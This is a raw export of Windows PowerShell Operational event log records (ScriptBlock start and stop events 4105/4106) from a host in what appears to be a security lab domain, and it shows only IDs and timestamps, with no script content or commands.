Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050457
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050456
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050455
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050454
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050438
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050437
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050432
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050431
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
